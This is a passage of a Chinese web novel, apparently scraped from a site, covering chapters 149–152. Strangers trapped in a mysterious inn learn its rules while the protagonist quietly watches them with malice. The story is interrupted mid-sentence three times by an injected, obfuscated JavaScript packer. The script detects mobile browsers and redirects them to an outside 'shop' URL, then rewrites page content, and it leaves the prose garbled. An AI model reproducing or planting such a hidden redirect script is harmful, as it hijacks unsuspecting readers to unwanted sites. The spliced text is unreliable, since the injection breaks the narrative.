一到三楼,先前不寒而栗的感觉才逐渐消失,他们在餐厅和休息活动区里里外外一顿找,果然一个鬼影子都没有找到。 这下所有人更迷惑了,这时那个戴眼镜的年轻女教师忽然出声道:“我们干嘛不离开这里呢?” 149. 无头 在女教师的提议下,众人恍然大悟,纷纷点头赞同,与其在一个没有工作人员的奇怪旅店里晃悠,还不如赶紧离开这里回到各自该回的地方。 一直跟在队伍后面,以观察众人为乐的俞小澄,本想出言告诉他们旅店只能进不能出,可张了张嘴,她就收了声,这句话终究被她咽回了肚子里。 干嘛要出这个头呢? 她只要静观其变就好,谁知道会发生什么有趣的事情呢? 于是,她安静地跟着大部队重新返回大厅。 刚进入大厅,俞小澄便撞上了吴樊祐投来的目光,那双眼睛似乎在询问她到底想做什么。 俞小澄冲吴樊祐露出一个甜美的笑容,只是笑容虽甜,却只是表面抹了一层蜜,里面如同一块冰块一样,寡味冰凉。 一群人重新回到旅店大门前,几位男士轮流上前与门把手进行了一番搏斗,可这扇门就跟被焊死了一样,纹丝不动,无论他们如何踢踹、撞击,都拿这扇门没辙。 “窗户呢?”女教师又提出了建议。 在她的提醒下,立马有人对窗户动手,只是结果没有一点意外,这玻璃跟门一样坚固。 阴郁青年咬着手指,神情焦虑地嘀咕:“完了,我们被绑架了,会不会是外星人,这里会不会是外星飞船内部?” “要不以后还是少看点科幻电影吧……”纹身男人无奈地叹了一口气。 “啊,外星人?我要回家,我要回家!” 大块头男人忽然情绪失控,抓扯着脑袋,高声惊呼,然后拨开眼前的住客,冲到了门边,发了疯地用肩膀撞击大门。 一声声闷响在大厅里回荡,听得人心惊胆颤。 大块头男人的举动明显不太正常,按照他这撞法,怕是骨头都会骨折,可大块头就跟感觉不到疼痛一样,一刻也不停歇。 很快,周身名牌的男人被那撞击声搅得心烦,高声呵斥:“蠢猪,大家都撞不开,你以为你是坦克?赶紧住手,你是不是有病啊?” 一边说着,周身名牌的男人上前想要拦下大块头,却被大块头一掌推翻在地。 “我没有病,我没有病!我最讨厌别人说我有病!”大块头歇斯底里地怒吼。 原本还在撞门的他似乎陡然转变了目标,好像是名牌男的话刺激了他,他转而向摔倒在地的名牌男走来,扬起拳头就要砸下。 此时已婚男人和纹身男见状不对,赶紧上前阻拦,本来情况就已经够遭,再闹出点事来,对谁都有影响。 俞小澄见状只是远远地退到了一旁,微笑着看着眼前的乱局,心想:原来什么信息都没有,玩家这么容易自乱阵脚。 这时,吴樊祐走到了俞小澄身旁,与她并肩而立,同样安静地观察着事态发展,可心境大概与俞小澄不同,他低声问道:“这些陌生人,有什么让你觉得有趣的吗?” 俞小澄转头看了他一眼,忽然好奇地问道:“你说怪不怪,我怎么觉得我现在的样子跟你很像。” “什么跟我很像?”吴樊祐疑惑地问。 俞小澄继续看着吵嚷的人群,微微一笑:“就像什么都知道,却故意看猴戏,大概,就是这样。” “……” 吴樊祐一时语塞。 俞小澄顿时眯眼盯着吴樊祐,讥笑道:“呵呵,你居然不反驳,倒像是真被我猜中了。” “也许吧。” 吴樊祐像是放弃了抵抗,声音透着疲倦。 在二人谈话时,意外发生了,被激怒的大块头就像一只失去控制的野兽,不仅将阻拦他的人撂倒,又发了疯似的,搬起茶几砸向大门。 然后,旅店似乎感应到了不遵守秩序的住客,大块头所在的那块大理石地板忽然消失,还来不及发出惊叫,人就已经消失无踪,而在他附近的人全都被这突然出现的黑洞吓了一跳,连连后退几步。 只是片刻工夫,黑洞消失,眼前的大理石地板完好无损,而大厅内,莫名其妙就少了一个人。 “这……”那个微胖的中年妇女目瞪口呆,一时摸不着头脑,“这房子还有陷阱?” 此话一出,众人全都对脚下的地板产生了一丝畏惧,唯恐走错一步,忽然触发什么机关,下一个消失的人就会变成自己。 俞小澄听着他们越发离谱的推论,忍俊不禁,强行压下扬起的嘴角,继续看戏。 纹身男人意外的冷静,反驳道:“如果是陷阱,我们来来回回走了那么多次,早就该触发了。” 女教师表示赞同:“没错,一定是因为他做了什么事,才导致出现这样的结果。” “不是陷阱,那还能是什么,难不成还真是外星人的飞船?”性感女人一副楚楚可怜、担惊受怕的样子,躲到了名牌男的身后。 那名牌男满脸写着垂涎欲滴四个大字,搂着性感女人轻声安慰,趁机占便宜。 一直沉默的已婚女人忽然开了口:“不管怎么看,这房子我们是出不去了,既然如此,我要先找个地方休息一会儿,你们随意。” 说罢,她转身离开了大厅,往楼梯间走去,甚至没有叫已婚男人跟她一起。 已婚男人一脸尴尬,解释说他老婆性格比较直率,一边替老婆道歉,一边黑着脸离开了大厅,看样子,是去追已婚女人了。 一时没有头绪,其他人也选择离开大厅,毕竟在他们眼前刚发生了恐怖的一幕,所以选择远离,才是明智的选择。 等新住客都离开后,大厅内只剩下俞小澄和吴樊祐,这两个如今唯一知晓穷途旅店规则的人,都选择了闭口不谈。俞小澄是自己决定的,至于吴樊祐,她不清楚他的目的是与自己一样,还是单纯怕麻烦不想说。 当临近中午,原本空荡的餐桌上,忽然多出丰盛的菜品,让心情跌落谷底的新住客又重拾了乐观的心境。 至少在大块头出事后,旅店内没有再发生过奇怪的事,只是没有人告诉他们,接下来他们需要做什么,将要面临什么,所以他们在未知中逐渐被消磨着耐心。 丰盛的食物总能缓解人不安的情绪,看上去他们暂时不会因为被困旅店而饥饿致死,至于之后还会有什么在等着他们,他们没法预测,便索性什么也不想,先饱餐一顿再说。 待到吃饱了肚子,他们才想起研究为何空无一人的餐厅里突然出现了食物。 有人觉得工作人员其实就藏在暗处,这里或许 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13498555|133719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是什么整蛊真人秀,想要看他们以为有鬼吓得屁滚尿流的样子。 有人则认为这里绝不是正常世界,就算有鬼也不稀奇,否则他们为什么会全部失忆,这怎么看都不正常。 两边各执己见,说得头头是道,即便谁也没有切实的依据证明自己的说法。 俞小澄只是默默听着他们讨论和争执,尽力降低自己的存在感,永远保持一副茫然无知的模样。 吴樊祐跟在她身旁,没有拆穿,也没有阻止,只是对正在发生的事丝毫没有兴趣,独自苦恼着什么不为人知的秘密。 新住客之间的争论一直持续到有人打断为止。 纹身男不知何时离了队,独自在旅店里探索,因此意外撞见了下午2点后出现在前台的客服,惊讶之余,他也没忘上楼告知其余住客。 一听旅店工作人员出现,新住客们立马来了兴致,大队伍气势汹汹地冲下楼,一副兴师问罪的姿态。 俞小澄看了看时间,2点已过半小时,她本期待新住客因为讨论激烈彻底错过难得的咨询时间,没想到被意外发现,只得跟上看他们能问出什么有用信息。 途中,俞小澄一脸淡定地将手掌摊到吴樊祐面前,毫不客气地说:“把你的金币给我。” 吴樊祐没问她要做什么,从兜里掏出最后一枚金币,放到了俞小澄手心。 “你不问我?”俞小澄收下金币,好奇地挑了挑眉。 “学姐希望我问吗?我以为如今在学姐心里,我最好是个哑巴。”吴樊祐笑得苦涩。 俞小澄一脸认同地点点头,眼神轻蔑掠过,回:“你说的没错,就算你问了,我也不一定会回答。” 看到吴樊祐神情落寞,俞小澄感觉心情舒畅了一些,她的报复才刚刚开始,直到她心里的怨气消散,她一刻都不会让吴樊祐好过。 来到前台的众人,全都震惊于前台的变化,谁也不知道在他们离开大厅后,究竟发生了什么,如何能在短时间内搞出这么些古怪的东西。 柜台后站着一位文质彬彬的老者,身形消瘦却硬朗,看上去虽有些苍老,但目光炯炯,脸上带着格式化的微笑,眼角被挤出几条深深的鱼尾纹。 正是二号客服。 他此刻正精神抖擞地冲住客说起那句熟悉的台词:“各位贵宾下午好,二号客服为您服务,兑换道具盲盒靠右,咨询客服靠左,请排队等候。” 听了二号客服简短的介绍,众人的视线落在了柜台两个木箱上。 “要什么金币?”名牌男一边翻着衣兜,一边诧异道,“这又是什么诈骗的新花样?妈的,手机钱包不都被你们拿走了吗?还想要钱?行,我爸有的是钱,赶紧把我放了!” 名牌男对着空气破口大骂着,已婚女人听得心烦,忙指了指二号客服和咨询处的木箱,道:“这上面不是写了首次免费吗?你直接问那客服去啊!在这儿鬼吼鬼叫能起什么作用……” 名牌男被噎了一下,一脸不爽,扭头走到了咨询处木箱前,一拍桌子,没有礼貌地高声质问:“喂!我问你,这里究竟是什么地方?” 二号客服始终维持着职业化的微笑,平静回答:“这里是穷途旅店。” 150. 唯一 二号客服的回答让在场众人瞬间傻眼,一时以为他还没说完,沉默地等待着他继续解释,可二号客服说完这七个字后,便像进入了待机状态一般,笑而不语。 “喂!你在耍我啊?!”名牌男有种智商遭人羞辱的感觉,不满地说道,“这里谁没在外面看到你们家旅店的名字啊?我问的是这踏马究竟是哪儿,我们为什么会来到这里?” 二号客服不为所动,手指轻轻在木箱上点了点,客气回道:“一问一金币,请先投币再提问。” 名牌男一听有些绷不住,高声咆哮:“你们负责人在哪儿,赶紧让他滚出来,知道我爸是谁吗?!” 名牌男完美地诠释了无能狂怒这个词。 原本还感觉客服态度敷衍的住客,此时被名牌男的怒吼吵得耳朵疼,纷纷出言劝阻。 俞小澄看着被众人拉到一旁的名牌男,轻轻咂了咂嘴,低声呢喃:“可惜了……” 她本来还想看名牌男因为对客服不敬而遭到惩罚,无奈好事者太多,错过了让新人感受旅店恶意的机会,她深感惋惜。 吴樊祐在一旁看着令人陌生的俞小澄,心情无比复杂,就像是亲手创造了一个怪物,一时不知自己还能如何弥补。 “行了,每人只有一次机会,问点有用的,你跟个客服争论有什么用,他肯定什么都做不了主。”女教师冷静地劝说着。 名牌男总算平息了怒火,转身坐到沙发区生起了闷气,余下住客则继续寻找想要的答案。 下一个提问的是微胖的中年妇女,她脸上堆着市侩的笑,问:“你们这旅店,住一晚多少钱啊?” 听她问出这种无关痛痒的问题,其他人顿时没了脾气,看向微胖女人的眼神不由得多了几分鄙夷。 二号客服说:“本店一切服务均免费,请各位客人安心住下。” 众人面面相觑,如果一切发生在正常的情况和正常的时机下,这样的消息对他们来说,或许是求之不得的好事。 可是,就现在这种连离开都做不到的情况而言,反而起不到多少安慰效果。 接着纹身男人走上前,问:“将我们困在这家旅店里的目的究竟是什么?” 俞小澄微微一怔,不禁侧目多看了纹身男两眼,总算有人问到了点子上,她也很好奇二号客服会如何作答。 二号客服眯眼笑道:“当然是为了给各位客人一次改过自新的机会,请尽情感受本店的诚意,祝各位有一个好梦!” “啥?放尼玛狗屁!” “改过自新?你脑袋进水了吧!” “他这算不算承认这是一场绑架?” “莫名其妙,你最好赶紧放我们离开。” “搞什么呀……这是什么恶作剧?” …… 仅仅一句话,顿时引爆全场,住客们七嘴八舌发出声讨,方才因为无能狂怒被全场劝阻的名牌男发出一声冷笑,似乎觉得众人打脸太快,属实可笑。 性感女人情绪有些激动,不知道是否想到了什么不好的事,尖声质问道:“什么改过自新,你凭什么认定我们有错在先?” 二号客服自然将她的质疑判定为提问,于是微笑着回答:“这个自然由苦主来判定,本店只为这世间不公,提供一点情绪宣泄的途径。” 俞小澄内心某处感受到些微触动,这是一条全新的线索。 曾经她只认定来到穷途旅店的人全都有罪,在这里的一切经历都是对他们的惩罚,却从未想过,凭什么判定他们有罪? “苦主吗?”俞小澄手指抵着下巴,小声嘀咕着,但细想之下,暂无头绪,因为她完全遗忘了自己做过什么恶事,自然也想不出这位苦主会是谁。 “想知道与你有关的苦主?说不定进入记忆之门你会找到答案。”像是看穿了俞小澄的想法,吴樊祐意有所指地引导。 俞小澄犀利的眼神割在吴樊祐脸上,有种想要吃人的气势,低声威胁道:“你以为这么说,我就会傻傻上当?想都别想,我不会让你从记忆之门溜走的。” “……” 吴樊祐一时语塞,脸上的表情有种哭笑不得的味道,最后无奈地摇了摇头,小声嘀咕,“知道,知道,我没打算溜走……不用这么防着我……” 反观新住客那边,所有人面面相觑,看样子各怀心事,但对于二号客服的说法,无不是嗤之以鼻,嘴上都骂着荒谬。 人群中,最先冷静下来的是女教师,她表现得有些谨慎,顺着这个话题问道:“且不轮你们的目的是什么,我只想知道,究竟要将我们关在这里到何时?” 二号客服说:“一直到你们找回记忆。” 已婚男人急忙追问:“万一怎么也想不起来,难道要一直把我们囚禁在这里?” 二号客服点了点头,两个字脱口而出:“没错。” 这些答案让本就有被害妄想着的阴郁男人更加焦虑,他不停咬着手指,根本没法让自己冷静下来,眼睛里全是恐惧。 他问:“这里究竟是恶作剧直播真人秀,还是外星人入侵抓我们做实验?” 二号客服还是第一次露出理解不能的表情,就像是这些话超出了他的认知,只能客气回道:“都不是,您的想象力有些过于丰富了。” 最后,已婚女人有些不耐烦地问道:“随便吧,反正也无法离开,但是,你们这旅店连一间客房都没有,难不成想让客人睡在大厅?” “这个请不用担心,本店客房位于二楼,每晚9点准时刷新,届时请先到前台领取房卡。”二号客服慢条斯理地开始了讲解,中途顿了顿,又贴心地告诫道,“客房使用请遵循三点规则。” “其一,晚上10点过后切记不可离开客房。” “其二,0点前必须上床入睡。” “其三,早上9点前务必离开客房,并带好随身物品。” 说完这些,二号客服便彻底进入待机状态。 众人听得一头雾水,女教师的视线落在了一直在外圈观望的俞小澄和吴樊祐身上,如今就剩他俩没有提问,女教师自然希望能借他俩之口,获得更多信息。 “你们可以再问问规则是怎么一回事吗?如果没有遵守规则又会如何?”女教师一脸和善,说话的语气也格外温柔。 然而,此时这位秀气的女教师尚不知道,自己询问的两人并不是跟她一样的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13518075|133719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无知新人,而是两头包藏祸心的隐狼。 吴樊祐对于其他人的请求一向都冷漠拒绝,这次也不例外,丝毫不给面子地回了句:“我有权保留免费提问的机会。” 女教师差点没忍住翻出一个白眼,强行维持着个人涵养,微笑回道:“当然。”然后退而求其次,只希望看上去更好说话的俞小澄能答应她的请求。 可惜,俞小澄脸上虽然带着笑,但做出的回应带着满满恶意:“虽然不太明白,可我已经没什么想知道的了,如果你想知道,可以找找哪里有金币。” 这一下,女教师面色铁青,在她眼中,俞小澄二人就是那种典型的自私自利之辈,她怀疑二人从一开始就打算白嫖别人的免费机会获得信息,而他们自己的,则打算留下来独享。 要不是身为教师的涵养约束着心中的冲动,她恐怕要直接破口大骂,揭穿二人的虚伪面目。 女教师平复着心情的波动,无奈地回到人群中,提议让大家在旅店四处找找有没有类似金币的东西。 除了俞小澄和吴樊祐,所有人都同意了女教师的提议,当即出发开启第二次搜索模式。 等他们将一楼大厅翻找干净后,又各自上楼寻找上面两层。 在所有新住客离开大厅后,俞小澄漫不经心地拿出那枚从吴樊祐手里抢来的金币,扔进了咨询处木箱里。 她面无表情地问道:“告诉我,陈奇是否通过记忆之门的验证?” 说话时,俞小澄的目光偶尔瞥向吴樊祐,只是确认他是否在认真听。 其实对于这个问题,她本已没有兴趣,因为她心中早有答案,这一问也只是为了对个答案,更多的目的是向吴樊祐证明,他的说辞有多么可笑。 果然,二号客服十分肯定地答道:“陈奇没有通过记忆之门的验证,已经彻底消失。” 俞小澄满意地收回视线,对吴樊祐笑道:“看到了吧,没有人能离开旅店,我不能,你也不能。” 吴樊祐对此置若罔闻,表情坚毅地回应:“学姐,有没有可能,你跟他们不一样,有些事,或许只有尝试才知道,你看到的不一定就是事实……” “你可以自信,但不用对我表现出如此虚伪的信任,你了解我吗?”俞小澄的目光很冷,如同寒冬腊月的风,要将吴樊祐的脸割裂。 “学姐的眼里就没有我,自然觉得我什么都不了解。”吴樊祐像是忽然耍起了性子,话中满是委屈。 俞小澄简直要被气笑了,感觉被恶人先告状了一样,一时分不清他是认真的,还是故意甩锅找借口。 “四年里,我们从未联系过,别用大学时微不足道的了解来绑架我,我与你的生活不同,你不知道我经历过什么,又可能会做什么。”俞小澄反驳。 吴樊祐气恼地嘀咕:“一毕业就将我删了个干净,我还敢厚着脸皮联系吗?” “你啥时候脸皮薄过……”俞小澄有种被吴樊祐带偏的感觉,赶紧制止这个话题再继续进行下去,总结发言道,“总之,如今在我这儿,你说的话毫无可信度,别想耍花样,你什么都不做,对你我都好。” 又是一顿威胁,将吴樊祐彻底干沉默了。 151. 自由 就在俞小澄和吴樊祐争吵完没一会儿,有人回到了大厅,也有人还留在楼上,听他们的反馈,似乎谁也没能找到类似金币的东西。 俞小澄并不点破,由着他们继续像无头苍蝇一样乱窜,寻找着根本不存在于旅店里的金币。 一整个下午,住客们看上去十分忙碌,只是这种忙碌似乎毫无意义,直到晚餐在餐厅里出现,这些人才终于舍得放弃看上去有些可笑的执着,承认在旅店中绝不可能藏有金币。 认清现实后,众人味同嚼蜡地吃了晚餐,然后一直等到晚上九点,依照二号客服的话,回到了大厅前台。 柜台上凭空出现的整整齐齐两排房卡,吸引了所有人的注意,然后便对房卡上的图案产生了好奇。 女教师:“卡面好像有区别,这有什么特别的含义吗?” 名牌男:“这有什么好奇怪的,为了便于分辨房型吧,比如标准、豪华、行政、总统……” 性感女人:“可这上面的图案怎么看出房型好坏啊?人家想住住总统套房!” 微胖女人:“唉呀,那我也要体验一把总统房,反正不要钱。” 纹身男人:“这上面的图案好像是梅兰竹菊。” 已婚女人:“有啥好研究的……随便拿一张,住宿条件如何,全凭运气,说这么多干嘛?” 说完这句话,已婚女人动作利落地从柜台上随意拿了一张房卡,转身就往电梯口走去。 已婚男人一边向其他人道歉,一边紧追而去。 俞小澄看了看,被已婚女人拿走的是一张幽兰房卡。 一时不知该说那对夫妇运气好,还是运气差,一来就抽中了难度颇高的幽兰梦境,正常看来,算是倒霉,可在俞小澄看来,倒是可以帮他们早些结束受苦的命运。 见那对夫妇拿了房卡离开,一直没说话的阴郁男人畏畏缩缩地走上前,手指在四种房卡上点来点去,嘴里嘀嘀咕咕不知在说什么,犹豫了片刻,最终拿走了手指停在的那张房卡。 他选到的是箭竹房卡,还算简单,俞小澄不由得在心里猜测起,等明天天亮时,还能不能见到此人,答案还真不好说。 性感女人指了指寒梅房卡,妩媚一笑,对名牌男说:“梅兰竹菊,人家直觉梅花的房间最高级,你觉得呢?” 名牌男看到性感女人的样子,早就丢了魂,连连点头,夸性感女人聪明,看得旁人一阵恶寒。 在二人一人拿走一张寒梅房卡后,微胖女人显然选择相信了性感女人的直觉,不甘落后,迅速拿走了最后一张寒梅房卡。 俞小澄见状差点没笑出声,心道:直觉还挺准,的确是最高级的,但是体现在难度上。 还剩下女教师和纹身男人,二人都站在柜台前发愁,看样子一时难以决定对哪张房卡下手。 女教师看了看俞小澄和吴樊祐,谦让道:“我有选择困难症,你们可以先选。” 听到女教师这么说,纹身男人也莫名其妙地客气起来,急忙让到一旁,做了个请的手势,示意俞小澄和吴樊祐先做选择。 俞小澄本想看剩下两人的运气如何,没承想忽然成了焦点位,在那两人坚定不动摇的眼神注视下,瞬间有种被架在火上烤的错觉。 如果这时她再说自己也想再考虑一下,她怀疑这两个人能一直耗到10点。 如此一想,俞小澄只好妥协一般走到了柜台前,犹豫片刻,最终拿起了雏菊房卡。 这是她至今从未经历的梦境类型,回想刚到旅店时,一众人为了雏菊房卡争得头破血流。 一切都还记忆犹新,仿佛就在昨日,又好像过了许久,如今一同经历这些的人,除了吴樊祐,一个都不在了。 白羽楠、张尧、曾勇……全都被这个世界抹除,身无葬处,魂无归途。 还有禾苒和陈奇,踏进了记忆之门中,如今或许已经沦为恶灵,等待哪一天带住客走入他们所创造的梦境之中。 如果一直留在旅店,总有一天会遇上的吧? 届时她可以让进宝给他们一个解脱。 思绪如潮,俞小澄盯着手中房卡停留了许久,直到女教师的声音传入耳中:“怎么了?这张卡有什么特别的吗?” 俞小澄不知道这女人是敏感还是敏锐,竟问得她有些心虚,连忙摇头,让到了一旁,不自然地笑道:“没什么,只是在想房间里会有什么。” “房间里会有什么吗?”女教师的表情愈发疑惑起来。 “呵呵,这么奇怪的地方,不知道会不会闹鬼。”俞小澄尴尬地找补。 女教师端出一副为人师表的可靠样子,拍了拍俞小澄的肩,斩钉截铁道:“这世上没有鬼,别自己吓自己。” 说罢,像是安慰一般,从柜台上拿起与俞小澄相同的雏菊房卡,自信一笑:“我就住你隔壁,如果实在害怕,可以随时来找我。” 女教师的善解人意让俞小澄哭笑不得,皮笑肉不笑地回了句:“哦……谢谢……” “那我也跟你们选一样吧,都女生,万一出点什么事,也不好应付,有事可以叫我。”纹身男人展示着胳膊上的肌肉,向二人释放着善意,“放心,我练过几年拳,如果这旅店真想使点阴招,我还应付得过去。” 这下俞小澄更无语了,嘴角抽搐着道谢,心里却在暗骂这两人多事。 这雏菊梦境死亡人数上限只一人,她就是想送两人同时上路都不可能,一时不知该说什么好,而且自己轻举妄动,必定会漏底给存活的那个人,着实不好办。 俞小澄心理扭曲地想:算了……做做任务赚赚金币得了,争取下回直接换成全寒梅房型,让这些人一次死个干净。 “兄弟,你呢?自己再选一张,还是跟我凑合一晚?虽然我没有跟陌生人同住的习惯,不过现在情况不明,多个人多个照应吧。” 纹身男人看向吴樊祐,十分义气地提出建议。 吴樊祐瞥了纹身男人一眼,无情地拒绝道:“我也没有跟陌生人同住的习惯。” “哦,好,那你随意。”纹身男人不气不恼,客气地让出一条道,等待吴樊祐自行上前挑选房卡。 可是等了许久,也不见吴樊祐有所动作,纹身男人和女教师不禁都疑惑起来。 女教 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13528795|133719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 师笑道:“还没决定好吗?那……要不我们先走,不妨碍你思考。” 说罢,女教师示意纹身男人和俞小澄上楼,他们刚离开前台,吴樊祐就慢悠悠地跟了上来。 女教师和纹身男人一脸诧异地回头望着吴樊祐,那眼神似乎是在问他为何要跟着。 或许是怕吴樊祐因为改变主意而尴尬,纹身男人再次善意地送上了台阶,道:“哦,跟我一起住也可以。” “谁说跟你一起住了。”吴樊祐十分不识抬举地反驳道。 “那你……”女教师与纹身男人面面相觑。 吴樊祐指了指俞小澄,不易察觉地轻勾嘴角,故意使坏说道:“我跟我学姐一起住,我学姐恐怕也不放心我住在别的地方。” 女教师和纹身男人的视线立马落在了俞小澄的脸上,眼神中仿佛写着不可思议。 女教师:“呵呵,原来,你们两认识啊,怎么没听你们说起。” 纹身男人:“哦,看来是我误会了,真是不好意思。” 俞小澄的眼神简直想刀死吴樊祐,可现在不方便表现得太凶狠,只好强颜欢笑道:“对啊……是认识,但是不熟,很久没联系了,没想到会在这里遇上,真是倒……好运气。” 俞小澄一边说着,一边挪到了吴樊祐身旁,趁人不注意,悄悄掐了一下吴樊祐的后腰,疼得他一脸苦相强撑。 勉强让女教师和纹身男人没有起疑,一行人便继续往二楼走去。 等回到房间关上门,俞小澄才将压抑的怒气发泄出来,直接将人堵在了门口墙角里,冲着吴樊祐就是一顿骂:“好小子,跟我玩儿阴的是吧?我以前怎么没看出来你小子这么阴险!” 虽说俞小澄气势十足,可就二人身高而言,实在没什么威胁力可言,因为俞小澄还得抬头仰视对方,多少有点小孩跟家长置气的模样。 果然,吴樊祐嬉皮笑脸地低头看着俞小澄,毫无悔改地辩解:“我这也是为学姐着想,你不是要我永远留在旅店陪你,哪儿也别想去,就连死都死不成吗?” 俞小澄只觉得脖子疼,不悦地后退几步,靠在墙边,双手环在胸前,上下打量着这个讨厌鬼,有种被人拿捏的憋屈。 “这跟你与我住一间房有半毛钱关系吗?”俞小澄质问。 吴樊祐不慌不慢地往房间内走去,示意俞小澄选张床,见俞小澄指了指窗边那张,才在另一张床上坐下,然后脸不红心不跳地诡辩:“当然有关系,你不怕我为了求死,干脆在10点后离开房间吗?你当然得把我放身边,才放心啊。” 有一瞬间,俞小澄竟觉得他讲得在理,随即又为自己产生认同他的想法而感到羞愧,于是一脸傲慢地走到床边坐下,讥笑道: “自然是不能便宜你,不过像你这样不要脸的东西,还真看得起自己,死?你敢吗?” 吴樊祐脸色有些难堪,笑容也随之苦涩起来:“我的形象都已经降到这种程度了么……” “不过是原形毕露罢了。”俞小澄懒得理会吴樊祐,早早洗漱上床睡觉。 不过,未等她睡着,那群新住客便开始作妖了。 152. 天生 事情的起因是从名牌男发现所有房型都是一样开始的,这件事似乎让他对旅店非常不满,站在走廊里对着空气叫嚣着,要让酒店管理者出来给个解释。 兴许他内心默认酒店管理方其实正通过隐藏摄像头监视着所有人,他可以接受这是一场游戏,但不能接受自己的待遇与他人相同。 这种扭曲的想法令他的行为格外偏执,他的叫嚣引得住客纷纷出门围观,其中便包括俞小澄。 俞小澄饶有兴致地欣赏着这场期待已久的骚乱。 原来当人没有任何可靠信息的时候,局面如此容易失控。而她刚来时,不知算不算幸运,轻松便获得了规则细节。 说起来,这件事当时就透着隐隐古怪。 如今想来,她甚至怀疑吴樊祐隐藏了自己早为住客的身份,可当时有陈奇等人可以作证,所以她又觉得或许是自己多想了。 “差不多得了!” 正在俞小澄胡思乱想时,纹身男人的声音在走廊起响起,带着些不容他人反抗的强势,俞小澄觉得此时总算跟他的形象相符了些。 大概是被纹身男人一身的纹身吓唬住了,名牌男竟意外地安静了下来,那怂样明显是欺软怕硬的角色。 纹身男人让大伙没事就回屋休息,说不定过一晚,就知道这家旅店究竟意欲何为了,说罢又叮嘱在场众人各自小心。 这人的冷静和领导力让俞小澄有些忌惮,再加上女教师过于敏锐的直觉,实在令俞小澄感觉头疼。 她可不希望以这两人为中心建立起新的“政权”。 名牌男一听让休息,又开始变着法地作起来,说自己从没有早睡的习惯,进而抱怨起旅店里没有电视,没有影院,没有酒吧,没有健身房,连手机也不知所踪。 没有娱乐对他来说,简直跟坐牢一样,这是限制他的人生自由。 大多数人对名牌男的夸张反应很是厌恶,这种无意义的抱怨,折磨的只是他们这些住客,而造成他们被困局面的幕后黑手,根本不在乎。 只有性感女人刻意讨好地与名牌男保持统一战线,一脸娇气地炫耀自己以前住酒店都是最高待遇,她可吃不了这种苦。 俞小澄听见一直冷静的女教师低声骂了句“矫情”。 这时,已婚男人站了出来,手指往上指了指,道:“要说娱乐也不是完全没有,三楼有麻将,要不要来场通宵麻将?” 已婚男人脸上露出一丝兴奋,显然他也不想待在房间里,毕竟他与妻子关系一看就有点问题,估计想减少独处的时间。 对于已婚男人的提议,已婚女人毫无兴趣,干脆摔门回屋了。 俞小澄觉得这两人挺矛盾的,如果不愿意在一起,大可不住一起,可男人似乎又想维持表面的体面,却不知在旁人眼中,二人的关系其实已经满是裂痕,过于明显了些。 对于已婚男人的提议,不少人表现出兴趣,比如名牌男和性感女人,在他们看来,打麻将总好过跟木头人一样躺在寒酸的房间里。 除了这两个人,还有微胖女人也举手报名,她看上去也是个闲不下来的主。 四人一拍即合,当即就要上楼,女教师却在这时煞风景地阻拦道:“你们没听客服说,晚上十点后不能离开房间吗?” “啊,听到啦,但那老头算什么东西,本少爷想干嘛就干嘛,他管得着么?”名牌男耀武扬威地说着狠话。 看着女教师还有意劝阻,纹身男人上前将她拦了下来,故意高声说道:“让他们去吧,我们也可以看看旅店究竟有何打算,总不能害人性命吧?” 女教师一眼看出纹身男人的意图,点了点头,随声附和:“也对,万一待在房间里什么事都没发生,感觉一晚上都白费了。” 准备上楼的四人被这两人一唱一和的话唬住,一时有些踌躇不决,相互对视,不约而同停下了脚步。 性感女人半胆怯半嘴硬道:“你们别危言耸听好不好……打个麻将能出什么事啊……” 女教师笑了笑:“我没说一定会出事啊,你们别在意。” 已婚男人此刻已经打起了退堂鼓,口风一转道:“啊,对了,我想起餐厅柜子里有酒,活动室还有扑克牌,要不我们换到房间里打牌也行。” 这个提议无异于给四人都提供了台阶,于是四人迅速达成共识,分头去餐厅取酒,去休息活动区拿扑克牌。 暂且是平息了这阵骚乱,女教师和纹身男人相视一笑,各自回房休息。 此刻只有俞小澄感觉到威胁,这两个人居然如此轻易化解了一场危机,让她感觉很可惜。 俞小澄关上门,回到了房间里,满脸写着失望二字。 除去一直待在自己房间里不出来的已婚女人和阴郁男人,女教师和纹身男人太过谨慎,另外四人虽然不太精明,可做事畏首畏尾,似乎她期待的事今晚不会发生了。 进屋看着吴樊祐一副云淡风轻的模样侧躺在床上盯着自己,俞小澄心里就来气。 与俞小澄的看戏心情不同,吴樊祐似乎是真的对其他人不感兴趣,一直以来,不管旁人做什么事,似乎都激不起他的好奇心。 他这副一切尽在掌握中的淡定模样,要俞小澄感到厌恶,因为每每这个时候,她就会想起自己被他玩弄在鼓掌中的过去。 “你就不担心这些人搞出什么幺蛾子?”俞小澄试探道。 